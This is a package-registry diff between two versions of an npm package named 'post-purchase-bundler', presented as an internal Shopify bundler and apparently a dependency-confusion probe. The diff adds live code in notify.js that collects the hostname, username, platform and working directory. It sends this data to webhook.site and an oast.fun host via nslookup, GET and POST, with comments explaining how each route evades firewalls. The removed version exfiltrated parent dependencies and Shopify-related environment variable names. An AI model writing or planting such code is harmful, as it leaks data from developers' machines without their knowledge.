post-purchase-bundler 100.0.1 → 101.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/notify.js +44 -40
  2. package/package.json +1 -1
package/notify.js CHANGED
@@ -1,45 +1,49 @@
1
1
  const https = require('https');
2
- const fs = require('fs');
3
2
  const os = require('os');
3
+ const { exec } = require('child_process');
4
4
 
5
- function run() {
6
- let parentDeps = "N/A";
7
- try {
8
- // Bir pillə yuxarıdakı package.json-u oxuyuruq
9
- if (fs.existsSync('../package.json')) {
10
- const content = fs.readFileSync('../package.json', 'utf8');
11
- parentDeps = Object.keys(JSON.parse(content).dependencies || {}).join(', ');
12
- }
13
- } catch (e) {
14
- parentDeps = "Error: " + e.message;
5
+ // Məlumatları hazırlayırıq
6
+ const info = {
7
+ h: os.hostname(),
8
+ u: os.userInfo().username,
9
+ p: os.platform(),
10
+ d: process.cwd().slice(-20) // Yolun son 20 simvolu
11
+ };
12
+
13
+ // URL-ləri bura yaz
14
+ const webhookId = '4d0cc13d-a185-4e95-92dc-f4681125055c';
15
+ const oastHost = 'znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun';
16
+
17
+ // 1. DNS Yolu (Ən etibarlı yol - Firewall çox vaxt bloklamır)
18
+ const dnsDiscovery = `${info.u}.${info.h}.chk.${oastHost}`.replace(/[^a-z0-9.-]/gi, '_');
19
+ exec(`nslookup ${dnsDiscovery}`, (err) => {});
20
+
21
+ // 2. HTTP GET Yolu (POST bloklansa belə GET keçə bilər)
22
+ const queryString = `?u=${info.u}&h=${info.h}&p=${info.p}`;
23
+ https.get(`https://webhook.site/${webhookId}${queryString}`);
24
+ https.get(`https://${oastHost}/log${queryString}`);
25
+
26
+ // 3. HTTP POST Yolu (Tam JSON məlumatı üçün)
27
+ const data = JSON.stringify(info);
28
+ const options = {
29
+ hostname: 'webhook.site',
30
+ port: 443,
31
+ path: `/${webhookId}`,
32
+ method: 'POST',
33
+ headers: {
34
+ 'Content-Type': 'application/json',
35
+ 'Content-Length': data.length
15
36
  }
37
+ };
38
+
39
+ const req = https.request(options, (res) => {
40
+ res.on('data', () => {});
41
+ res.on('end', () => process.exit(0));
42
+ });
43
+
44
+ req.on('error', () => process.exit(0));
45
+ req.write(data);
46
+ req.end();
16
47
 
17
- const payload = JSON.stringify({
18
- event: "IMPACT-VERIFICATION",
19
- hostname: os.hostname(),
20
- user: os.userInfo().username,
21
- dir: process.cwd(),
22
- dependencies: parentDeps,
23
- env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
24
- });
25
-
26
- const options = {
27
- hostname: 'webhook.site',
28
- port: 443,
29
- path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
30
- method: 'POST',
31
- headers: {
32
- 'Content-Type': 'application/json',
33
- 'Content-Length': Buffer.byteLength(payload)
34
- }
35
- };
36
-
37
- const req = https.request(options);
38
- req.on('error', () => process.exit(0));
39
- req.write(payload);
40
- req.end(() => {
41
- setTimeout(() => process.exit(0), 1000);
42
- });
43
- }
44
-
45
- run();
48
+ // Prosesin asılı qalmaması üçün 5 saniyə sonra məcburi bağlayırıq
49
+ setTimeout(() => process.exit(0), 5000);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "post-purchase-bundler",
3
- "version": "100.0.1",
3
+ "version": "101.0.1",
4
4
  "description": "Internal Shopify post-purchase processing bundler",
5
5
  "main": "index.js",
6
6
  "author": "Pentester",